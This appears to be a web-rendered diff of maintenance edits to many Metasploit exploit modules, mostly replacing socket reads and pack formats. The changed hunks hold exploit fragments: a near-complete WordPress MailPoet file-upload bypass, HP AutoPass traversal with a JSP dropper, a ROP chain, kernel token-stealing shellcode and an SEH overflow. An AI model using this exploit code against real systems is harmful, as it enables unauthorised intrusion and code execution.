||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Andrew Smith "jakx" <jakx.ppr@gmail.com>',
|
||||
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>',
|
||||
'Ben Campbell',
|
||||
'Chris Campbell' #@obscuresec - Inspiration n.b. no relation!
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
|
|
|
@ -58,7 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
def check
|
||||
connect
|
||||
sock.put("GET /cgi-bin/ck/mimencode HTTP/1.0\r\n\r\n")
|
||||
banner = sock.get(-1,3)
|
||||
banner = sock.get_once(-1, 3)
|
||||
disconnect
|
||||
|
||||
if (banner =~ /500 Internal/)
|
||||
|
|
|
@ -75,7 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
req = "service launcher\n"
|
||||
req << "start/flags run /bin/echo /bin/echo #{fingerprint}\n"
|
||||
sock.put(req)
|
||||
res = sock.get
|
||||
res = sock.get_once(-1, 10)
|
||||
disconnect
|
||||
|
||||
# check response
|
||||
|
@ -99,7 +99,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("#{@peer} - Sending payload (#{req.length} bytes)")
|
||||
connect
|
||||
sock.put(req)
|
||||
res = sock.get
|
||||
res = sock.get_once(-1, 10)
|
||||
|
||||
# check response
|
||||
if res and res =~ /No controlling tty/
|
||||
|
|
|
@ -69,7 +69,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def check
|
||||
connect
|
||||
banner = sock.get_once.strip
|
||||
banner = sock.get_once.to_s.strip
|
||||
vprint_status("#{rhost}:#{rport} - Banner: #{banner}")
|
||||
disconnect
|
||||
|
||||
|
|
|
@ -22,7 +22,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
upload arbitrary files to the upload folder. Because the plugin also
|
||||
uses it's own file upload mechanism instead of the wordpress api it's
|
||||
possible to upload any file type.
|
||||
The user provided does not need special rights. Also users with "Contributer"
|
||||
The user provided does not need special rights, and users with "Contributor"
|
||||
role can be abused.
|
||||
},
|
||||
'Author' =>
|
||||
|
|
|
@ -1,3 +1,5 @@
|
|||
# encoding: UTF-8
|
||||
|
||||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
|
@ -12,7 +14,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
super(update_info(
|
||||
info,
|
||||
'Name' => 'Wordpress MailPoet Newsletters (wysija-newsletters) Unauthenticated File Upload',
|
||||
'Description' => %q{
|
||||
The Wordpress plugin "MailPoet Newsletters" (wysija-newsletters) before 2.6.8
|
||||
|
@ -24,7 +27,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
a POST variable overwrites a GET variable in the $_REQUEST array. The plugin
|
||||
uses $_REQUEST to check for access rights. By setting the POST parameter to
|
||||
something not beginning with 'wysija_', the check is bypassed. Wordpress uses
|
||||
the $_GET array to determine the page, so it is not affected by this.
|
||||
the $_GET array to determine the page, so it is not affected by this. The developers
|
||||
applied the fixes to all previous versions too.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
|
@ -34,14 +38,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://blog.sucuri.net/2014/07/remote-file-upload-vulnerability-on-mailpoet-wysija-newsletters.html' ],
|
||||
[ 'URL', 'http://www.mailpoet.com/security-update-part-2/'],
|
||||
[ 'URL', 'https://plugins.trac.wordpress.org/changeset/943427/wysija-newsletters/trunk/helpers/back.php']
|
||||
['URL', 'http://blog.sucuri.net/2014/07/remote-file-upload-vulnerability-on-mailpoet-wysija-newsletters.html'],
|
||||
['URL', 'http://www.mailpoet.com/security-update-part-2/'],
|
||||
['URL', 'https://plugins.trac.wordpress.org/changeset/943427/wysija-newsletters/trunk/helpers/back.php']
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [ ['wysija-newsletters < 2.6.8', {}] ],
|
||||
'Targets' => [['wysija-newsletters < 2.6.8', {}]],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jul 1 2014'))
|
||||
end
|
||||
|
@ -58,8 +62,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}
|
||||
|
||||
zip_file = Rex::Zip::Archive.new
|
||||
content.each_pair do |name, content|
|
||||
zip_file.add_file(name, content)
|
||||
content.each_pair do |name, con|
|
||||
zip_file.add_file(name, con)
|
||||
end
|
||||
|
||||
zip_file.pack
|
||||
|
@ -67,14 +71,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def check
|
||||
readme_url = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wysija-newsletters', 'readme.txt')
|
||||
res = send_request_cgi({
|
||||
res = send_request_cgi(
|
||||
'uri' => readme_url,
|
||||
'method' => 'GET'
|
||||
})
|
||||
)
|
||||
# no readme.txt present
|
||||
if res.nil? || res.code != 200
|
||||
return Msf::Exploit::CheckCode::Unknown
|
||||
end
|
||||
return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200
|
||||
|
||||
# try to extract version from readme
|
||||
# Example line:
|
||||
|
@ -82,11 +84,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
version = res.body.to_s[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1]
|
||||
|
||||
# readme present, but no version number
|
||||
if version.nil?
|
||||
return Msf::Exploit::CheckCode::Detected
|
||||
end
|
||||
return Msf::Exploit::CheckCode::Detected if version.nil?
|
||||
|
||||
print_status("#{peer} - Found version #{version} of the plugin")
|
||||
vprint_status("#{peer} - Found version #{version} of the plugin")
|
||||
|
||||
if Gem::Version.new(version) < Gem::Version.new('2.6.8')
|
||||
return Msf::Exploit::CheckCode::Appears
|
||||
|
@ -108,19 +108,20 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
data.add_part('on', nil, nil, 'form-data; name="overwriteexistingtheme"')
|
||||
data.add_part('themeupload', nil, nil, 'form-data; name="action"')
|
||||
data.add_part('Upload', nil, nil, 'form-data; name="submitter"')
|
||||
# this line bypasses the check implemented in version 2.6.7
|
||||
data.add_part(rand_text_alpha(10), nil, nil, 'form-data; name="page"')
|
||||
post_data = data.to_s
|
||||
|
||||
payload_uri = normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wysija', 'themes', theme_name, payload_name)
|
||||
|
||||
print_status("#{peer} - Uploading payload to #{payload_uri}")
|
||||
res = send_request_cgi({
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'vars_get' => { 'page' => 'wysija_campaigns', 'action' => 'themes' },
|
||||
'data' => post_data
|
||||
})
|
||||
)
|
||||
|
||||
if res.nil? || res.code != 302 || res.headers['Location'] != 'admin.php?page=wysija_campaigns&action=themes&reload=1&redirect=1'
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
|
||||
|
@ -135,9 +136,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_warning("#{peer} - The theme folder #{theme_name} can not be removed. Please delete it manually.")
|
||||
|
||||
print_status("#{peer} - Executing payload #{payload_uri}")
|
||||
res = send_request_cgi({
|
||||
send_request_cgi(
|
||||
'uri' => payload_uri,
|
||||
'method' => 'GET'
|
||||
})
|
||||
)
|
||||
end
|
||||
end
|
||||
|
|
|
@ -99,7 +99,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
exploit_data << rop_chain
|
||||
exploit_data << payload.encoded
|
||||
exploit_data << make_nops(exploit_data.length % 2)
|
||||
exploit_data = exploit_data.unpack("S<*")
|
||||
exploit_data = exploit_data.unpack("v*")
|
||||
exploit_data = exploit_data.map { |word| " ?\\u-#{0x10000 - word}" }
|
||||
exploit_data = exploit_data.join
|
||||
|
||||
|
|
|
@ -82,13 +82,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def check
|
||||
connect
|
||||
banner = sock.get(-1,3)
|
||||
banner = sock.get_once || ""
|
||||
disconnect
|
||||
|
||||
validate = "\x32\x32\x30\x20\xbb\xb6\xd3\xad\xb9"
|
||||
validate << "\xe2\xc1\xd9\x46\x54\x50\xb7\xfe\xce"
|
||||
validate << "\xf1\xc6\xf7\x21\x0d\x0a"
|
||||
disconnect
|
||||
|
||||
if (banner == validate)
|
||||
if banner.to_s == validate
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
return Exploit::CheckCode::Safe
|
||||
|
|
|
@ -56,9 +56,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def check
|
||||
connect
|
||||
banner = sock.get(-1,3)
|
||||
banner = sock.get_once
|
||||
disconnect
|
||||
if (banner =~ /Dream FTP Server/)
|
||||
if (banner.to_s =~ /Dream FTP Server/)
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
return Exploit::CheckCode::Safe
|
||||
|
|
|
@ -71,7 +71,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def check
|
||||
connect
|
||||
banner = sock.get(-1,3)
|
||||
banner = sock.get_once(-1, 3)
|
||||
disconnect
|
||||
|
||||
if (banner =~ /Sami FTP Server 2\.0\.2/)
|
||||
|
|
|
@ -68,10 +68,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
rand = Rex::Text.rand_text_alpha(10)
|
||||
|
||||
sock.put("GET /amlibweb/webquery.dll?#{rand}= HTTP/1.0\r\n\r\n")
|
||||
res = sock.get(-1,3)
|
||||
res = sock.get_once
|
||||
disconnect
|
||||
|
||||
if (res =~ /<H1>BAD REQUEST<\/H1><P>Your client sent a request that this server didn't understand.<br>Request:\s(\w+)/)
|
||||
if (res.to_s =~ /<H1>BAD REQUEST<\/H1><P>Your client sent a request that this server didn't understand.<br>Request:\s(\w+)/)
|
||||
if ($1 == rand)
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
|
|
@ -59,10 +59,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def check
|
||||
connect
|
||||
sock.put("HEAD / HTTP/1.0\r\n\r\n\r\n")
|
||||
banner = sock.get(-1,3)
|
||||
sock.put("HEAD / HTTP/1.0\r\nHost: #{rhost}\r\n\r\n")
|
||||
banner = sock.get_once
|
||||
|
||||
if (banner =~ /GET and POST methods are the only methods supported at this time/) # Unique?
|
||||
if (banner.to_s =~ /GET and POST methods are the only methods supported at this time/) # Unique?
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
return Exploit::CheckCode::Safe
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
|
@ -40,7 +40,34 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Arch' => ARCH_JAVA,
|
||||
'Targets' =>
|
||||
[
|
||||
['HP AutoPass License Server 8.01 / HP Service Virtualization 3.50', {}]
|
||||
['Windows 2003 SP2 / HP AutoPass License Server 8.01 / HP Service Virtualization 3.50',
|
||||
{
|
||||
'InstallDepth' => 4,
|
||||
'InstallFolder' => '/HP AutoPass License Server/HP AutoPass License Server',
|
||||
'WebappsDepth' => 1
|
||||
}
|
||||
],
|
||||
['Windows 2008 32 bits/ HP AutoPass License Server 8.01 / HP Service Virtualization 3.50',
|
||||
{
|
||||
'InstallDepth' => 7,
|
||||
'InstallFolder' => '/Program Files/HP/HP AutoPass License Server/HP AutoPass License Server/HP AutoPass License Server',
|
||||
'WebappsDepth' => 1
|
||||
}
|
||||
],
|
||||
['Windows 2008 64 bits/ HP AutoPass License Server 8.01 / HP Service Virtualization 3.50',
|
||||
{
|
||||
'InstallDepth' => 7,
|
||||
'InstallFolder' => '/Program Files (x86)/HP/HP AutoPass License Server/HP AutoPass License Server/HP AutoPass License Server',
|
||||
'WebappsDepth' => 1
|
||||
}
|
||||
],
|
||||
['Windows 2012 / HP AutoPass License Server 8.01 / HP Service Virtualization 3.50',
|
||||
{
|
||||
'InstallDepth' => 4,
|
||||
'InstallFolder' => '/HP AutoPass License Server/HP AutoPass License Server',
|
||||
'WebappsDepth' => 1
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jan 10 2014'))
|
||||
|
@ -48,9 +75,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
register_options(
|
||||
[
|
||||
Opt::RPORT(5814),
|
||||
OptString.new('TARGETURI', [true, 'Path to HP AutoPass License Server Application', '/autopass']),
|
||||
OptInt.new('INSTALL_DEPTH', [true, 'Traversal Depth to reach the HP AutoPass License Server folder', 4]),
|
||||
OptInt.new('WEBAPPS_DEPTH', [true, 'Traversal Depth to reach the Tomcat webapps folder', 1])
|
||||
OptString.new('TARGETURI', [true, 'Path to HP AutoPass License Server Application', '/autopass'])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('INSTALL_DEPTH', [false, 'Traversal Depth to reach the HP AutoPass License Server folder']),
|
||||
OptString.new('INSTALL_FOLDER', [false, 'HP AutoPass License Server folder']),
|
||||
OptInt.new('WEBAPPS_DEPTH', [false, 'Traversal Depth to reach the Tomcat webapps folder'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
@ -99,7 +131,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# In order to execute it, through the AutoPass application we would like to drop it here:
|
||||
# C:\Program Files\HP\HP AutoPass License Server\HP AutoPass License Server\HP AutoPass License Server\webapps\autopass\scripts
|
||||
dropper_traversal = install_traversal
|
||||
dropper_traversal << "/HP AutoPass License Server/HP AutoPass License Server/webapps/autopass/scripts/#{dropper_filename}"
|
||||
dropper_traversal << "#{install_folder}/webapps/autopass/scripts/#{dropper_filename}"
|
||||
|
||||
res = upload_file(dropper_traversal, dropper)
|
||||
|
||||
register_files_for_cleanup("#{webapps_traversal}webapps/autopass/scripts/#{dropper_filename}")
|
||||
|
@ -140,11 +173,39 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def webapps_traversal
|
||||
"../" * datastore['WEBAPPS_DEPTH']
|
||||
if datastore['WEBAPPS_DEPTH'] > 0
|
||||
depth = datastore['WEBAPPS_DEPTH']
|
||||
elsif target['WebappsDepth']
|
||||
depth = target['WebappsDepth']
|
||||
else
|
||||
depth = 1
|
||||
end
|
||||
|
||||
"../" * depth
|
||||
end
|
||||
|
||||
def install_traversal
|
||||
"/.." * datastore['INSTALL_DEPTH']
|
||||
if datastore['INSTALL_DEPTH'] > 0
|
||||
depth = datastore['INSTALL_DEPTH']
|
||||
elsif target['InstallDepth']
|
||||
depth = target['InstallDepth']
|
||||
else
|
||||
depth = 4
|
||||
end
|
||||
|
||||
"/.." * depth
|
||||
end
|
||||
|
||||
def install_folder
|
||||
if !datastore['INSTALL_FOLDER'].blank?
|
||||
folder = datastore['INSTALL_FOLDER']
|
||||
elsif target['InstallFolder']
|
||||
folder = target['InstallFolder']
|
||||
else
|
||||
folder = "/HP AutoPass License Server/HP AutoPass License Server"
|
||||
end
|
||||
|
||||
folder
|
||||
end
|
||||
|
||||
# Using a JSP dropper because the vulnerability doesn't allow to upload
|
||||
|
|
|
@ -66,12 +66,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
connect
|
||||
|
||||
req = "GET /SITEINFO.INI HTTP/1.0\r\n"
|
||||
req << "User-Agent: Mozilla/5.0\r\n"
|
||||
sock.put(req + "\r\n\r\n")
|
||||
req << "User-Agent: Mozilla/5.0\r\n\r\n"
|
||||
sock.put(req)
|
||||
|
||||
banner = sock.get(-1,3)
|
||||
banner = sock.get_once
|
||||
|
||||
if (banner =~ /Spipe\/1\.0/)
|
||||
if banner.to_s =~ /Spipe\/1\.0/
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
return Exploit::CheckCode::Safe
|
||||
|
|
|
@ -68,10 +68,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
def check
|
||||
connect
|
||||
sock.put("GET / HTTP/1.0\r\n\r\n")
|
||||
banner = sock.get(-1,3)
|
||||
banner = sock.get_once
|
||||
disconnect
|
||||
|
||||
if (banner =~ /WDaemon\/6\.8\.[0-5]/)
|
||||
if (banner.to_s =~ /WDaemon\/6\.8\.[0-5]/)
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
|
@ -90,7 +90,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
sploit << payload.encoded + " HTTP/1.0"
|
||||
|
||||
sock.put(sploit + "\r\n\r\n")
|
||||
res = sock.get(3,3)
|
||||
res = sock.get_once(-1, 3)
|
||||
|
||||
if (res =~ /Message spooled but will be deleted if not FROM a valid account/)
|
||||
print_status("Payload accepted by WorldClient Form2Raw CGI!")
|
||||
|
|
|
@ -59,8 +59,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
def check
|
||||
connect
|
||||
sock.put("GET / HTTP/1.0\r\n\r\n")
|
||||
banner = sock.get(-1,3)
|
||||
if (banner =~ /PSO Proxy 0\.9/)
|
||||
banner = sock.get_once
|
||||
if (banner.to_s =~ /PSO Proxy 0\.9/)
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
return Exploit::CheckCode::Safe
|
||||
|
|
|
@ -75,12 +75,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
def check
|
||||
connect
|
||||
sock.put("\r\n\r\n") # works
|
||||
res = sock.get(-1,3)
|
||||
res = sock.get_once
|
||||
disconnect
|
||||
|
||||
if (res =~ /Server: Serv-U\/9\.0\.0\.5/)
|
||||
if (res.to_s =~ /Server: Serv-U\/9\.0\.0\.5/)
|
||||
return Exploit::CheckCode::Appears
|
||||
elsif (res =~ /Server: Serv-U/)
|
||||
elsif (res.to_s =~ /Server: Serv-U/)
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
return Exploit::CheckCode::Safe
|
||||
|
|
|
@ -60,10 +60,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
def check
|
||||
connect
|
||||
sock.put("GET / HTTP/1.0\r\n\r\n")
|
||||
res = sock.get(-1, 3)
|
||||
res = sock.get_once
|
||||
disconnect
|
||||
|
||||
if (res =~ /Steamcast\/0\.9\.75/)
|
||||
if (res.to_s =~ /Steamcast\/0\.9\.75/)
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
return Exploit::CheckCode::Safe
|
||||
|
|
|
@ -60,11 +60,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def check
|
||||
connect
|
||||
sock.put("GET / HTTP/1.1\r\n\r\n")
|
||||
banner = sock.get(-1,3)
|
||||
sock.put("GET / HTTP/1.1\r\nHost: #{rhost}\r\n\r\n")
|
||||
banner = sock.get_once
|
||||
disconnect
|
||||
|
||||
if (banner =~ /Xitami/)
|
||||
if (banner.to_s =~ /Xitami/)
|
||||
vprint_status("Banner: #{banner}")
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
|
|
|
@ -89,7 +89,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
session.railgun.add_function('psapi', 'EnumDeviceDrivers', 'BOOL', [ ["PBLOB", "lpImageBase", "out"], ["DWORD", "cb", "in"], ["PDWORD", "lpcbNeeded", "out"]])
|
||||
session.railgun.add_function('psapi', 'GetDeviceDriverBaseNameA', 'DWORD', [ ["LPVOID", "ImageBase", "in"], ["PBLOB", "lpBaseName", "out"], ["DWORD", "nSize", "in"]])
|
||||
results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
|
||||
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*")
|
||||
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("V*")
|
||||
|
||||
addresses.each do |address|
|
||||
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
|
||||
|
@ -172,7 +172,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
irpstuff << rand_text_alpha(231)
|
||||
|
||||
if not this_proc.memory.writable?(0x1000)
|
||||
result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ base_addr ].pack("L"), nil, [ 0x1000 ].pack("L"), "MEM_COMMIT | MEM_RESERVE", "PAGE_EXECUTE_READWRITE")
|
||||
result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ base_addr ].pack("V"), nil, [ 0x1000 ].pack("V"), "MEM_COMMIT | MEM_RESERVE", "PAGE_EXECUTE_READWRITE")
|
||||
end
|
||||
if not this_proc.memory.writable?(0x1000)
|
||||
print_error('Failed to properly allocate memory')
|
||||
|
@ -202,10 +202,10 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
halDispatchTable0x8 = halDispatchTable + 0x8
|
||||
|
||||
restore_ptrs = "\x31\xc0"
|
||||
restore_ptrs << "\xb8" + [ halpSetSystemInformation ].pack("L")
|
||||
restore_ptrs << "\xa3" + [ halDispatchTable0x8 ].pack("L")
|
||||
restore_ptrs << "\xb8" + [ haliQuerySystemInformation ].pack("L")
|
||||
restore_ptrs << "\xa3" + [ halDispatchTable0x4 ].pack("L")
|
||||
restore_ptrs << "\xb8" + [ halpSetSystemInformation ].pack("V")
|
||||
restore_ptrs << "\xa3" + [ halDispatchTable0x8 ].pack("V")
|
||||
restore_ptrs << "\xb8" + [ haliQuerySystemInformation ].pack("V")
|
||||
restore_ptrs << "\xa3" + [ halDispatchTable0x4 ].pack("V")
|
||||
|
||||
tokenstealing = "\x52"
|
||||
tokenstealing << "\x53"
|
||||
|
@ -241,7 +241,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
this_proc.memory.write(shellcode_address_nodep, shellcode)
|
||||
this_proc.memory.protect(0x00020000)
|
||||
|
||||
addr = [ 2, 4455, 0x7f000001, 0, 0 ].pack("s!S!L!L!L!")
|
||||
addr = [ 2, 4455, 0x7f000001, 0, 0 ].pack("vvVVV")
|
||||
result = session.railgun.ws2_32.connect(socket, addr, addr.length)
|
||||
if result['return'] != 0xffffffff
|
||||
print_error("The socket is not in the correct state")
|
||||
|
|
|
@ -63,26 +63,27 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
def check
|
||||
connect
|
||||
|
||||
req = "HEAD / HTTP/1.0\r\n\r\n"
|
||||
req << "User-Agent: Sametime Community Agent\r\n"
|
||||
req = "HEAD / HTTP/1.1\r\n"
|
||||
req << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n"
|
||||
req << "User-Agent: Sametime Community Agent\r\n\r\n"
|
||||
|
||||
sock.put(req)
|
||||
res = sock.get_once(-1,3) || ''
|
||||
res = sock.get_once || ''
|
||||
|
||||
disconnect
|
||||
|
||||
if (res =~/Lotus-Domino/)
|
||||
if (res.to_s =~/Lotus-Domino/)
|
||||
connect
|
||||
|
||||
req = "GET /CommunityCBR HTTP/1.0\r\n\r\n"
|
||||
req << "User-Agent: Sametime Community Agent\r\n"
|
||||
req = "GET /CommunityCBR HTTP/1.1\r\n"
|
||||
req << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n"
|
||||
req << "User-Agent: Sametime Community Agent\r\n\r\n"
|
||||
sock.put(req)
|
||||
res = sock.get_once(-1,3) || ''
|
||||
res = sock.get_once || ''
|
||||
|
||||
disconnect
|
||||
|
||||
if (res =~/200 OK/)
|
||||
if (res.to_s =~ /200 OK/)
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
end
|
||||
|
@ -106,8 +107,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
path = pad1 + jmp + seh + pad2 + popebx + popad + esp
|
||||
|
||||
req = "POST /CommunityCBR/CC.39.#{path}/\r\n"
|
||||
req << "User-Agent: Sametime Community Agent\r\n"
|
||||
req << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n"
|
||||
req << "User-Agent: Sametime Community Agent\r\n"
|
||||
req << "Content-Length: #{payload.encoded.length}\r\n"
|
||||
req << "Connection: Close\r\n"
|
||||
req << "Cache-Control: no-cache\r\n\r\n"
|
||||
|
|
|
@ -64,7 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("Trying #{target.name} using lstrcpyA address at #{"0x%.8x" % target.ret }...")
|
||||
|
||||
udp_sock.put(request)
|
||||
udp_sock.get
|
||||
udp_sock.get(5)
|
||||
|
||||
handler(udp_sock)
|
||||
disconnect_udp
|
||||
|
|
|
@ -79,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
hello << "\xb0\x02\x00\x00\xff\xff\x00\x00" << "\x06\x10\x00\x00\x7c\xfa"
|
||||
|
||||
sock.put(hello)
|
||||
hello_response = sock.get
|
||||
hello_response = sock.get_once(-1, 10)
|
||||
disconnect
|
||||
|
||||
if hello_response and hello_response =~ /Dtb: Context/
|
||||
|
@ -109,7 +109,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
hello << "\xb0\x02\x00\x00\xff\xff\x00\x00" << "\x06\x10\x00\x00\x7c\xfa"
|
||||
|
||||
sock.put(hello)
|
||||
hello_response = sock.get
|
||||
hello_response = sock.get_once(-1, 10)
|
||||
|
||||
if not hello_response or hello_response.empty?
|
||||
print_error("#{sock.peerinfo} - The Hello Request hasn't received a response")
|
||||
|
|
|
@ -160,7 +160,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
sock.put(hello)
|
||||
hello_response = sock.get
|
||||
hello_response = sock.get_once(-1, 10)
|
||||
|
||||
if not hello_response or hello_response.empty?
|
||||
print_error("#{sock.peerinfo} - The Hello Request haven't had response")
|
||||
|
@ -235,7 +235,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
sock.put(auth)
|
||||
auth_response = sock.get
|
||||
auth_response = sock.get_once(-1, 10)
|
||||
if not auth_response or auth_response.empty?
|
||||
print_error("#{sock.peerinfo} - The Authentication Request haven't had response")
|
||||
return
|
||||
|
@ -247,7 +247,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
request_token << "\x07\x00\x00\x00"
|
||||
|
||||
sock.put(request_token)
|
||||
response_token = sock.get
|
||||
response_token = sock.get_once(-1, 10)
|
||||
if not response_token or response_token.empty?
|
||||
print_error("#{sock.peerinfo} - The Token Request haven't had response")
|
||||
return
|
||||
|
@ -261,7 +261,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
request_home_identifier << "\x00\x00\x00\x00"
|
||||
|
||||
sock.put(request_home_identifier)
|
||||
response_home_identifier = sock.get
|
||||
response_home_identifier = sock.get_once(-1, 10)
|
||||
if not response_home_identifier or response_home_identifier.empty?
|
||||
print_error("#{sock.peerinfo} - The Home Identifier Request haven't had response")
|
||||
return
|
||||
|
@ -275,7 +275,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
request_home_contents << response_home_identifier[24,9] << "\00\x00\x00\x00\x0d\x00\x00"
|
||||
|
||||
sock.put(request_home_contents)
|
||||
response_home_contents = sock.get
|
||||
response_home_contents = sock.get_once(-1, 10)
|
||||
if not response_home_contents or response_home_contents.empty?
|
||||
print_error("#{sock.peerinfo} - The Home Contents Request haven't had response")
|
||||
return
|
||||
|
|
|
@ -154,7 +154,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
connect
|
||||
print_status("Performing handshake...")
|
||||
sock.put("\x00" * 256)
|
||||
sock.get
|
||||
sock.get_once(-1, 10)
|
||||
|
||||
# Don't change the nulls, or it might not work
|
||||
xploit = ''
|
||||
|
|
|
@ -10,6 +10,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
|
||||
include Msf::Module::Deprecated
|
||||
|
||||
DEPRECATION_DATE = Date.new(2014, 10, 23)
|
||||
DEPRECATION_REPLACEMENT = 'exploit/multi/script/web_delivery'
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'PowerShell Payload Web Delivery',
|
||||
|
|
|
@ -105,11 +105,11 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# op code
|
||||
req = "\xD0\x07\x00\x00"
|
||||
# filename length
|
||||
req << "#{[fname.length].pack('l')}"
|
||||
req << "#{[fname.length].pack('V')}"
|
||||
# file name
|
||||
req << "#{fname}"
|
||||
# data length
|
||||
req << "#{[data.length].pack('l')}"
|
||||
req << "#{[data.length].pack('V')}"
|
||||
# data
|
||||
req << "#{data}"
|
||||
connect
|
||||
|
|
|
@ -58,10 +58,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def check
|
||||
connect
|
||||
banner = sock.get_once(-1,3) || ''
|
||||
banner = sock.get_once || ''
|
||||
disconnect
|
||||
|
||||
if (banner =~ /CCProxy Telnet Service Ready/)
|
||||
if banner.to_s =~ /CCProxy Telnet Service Ready/
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
return Exploit::CheckCode::Safe
|
||||
|
|
|
@ -79,14 +79,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def check
|
||||
connect
|
||||
sock.put("GET / HTTP/1.1\r\n\r\n")
|
||||
res = sock.get(-1, 3)
|
||||
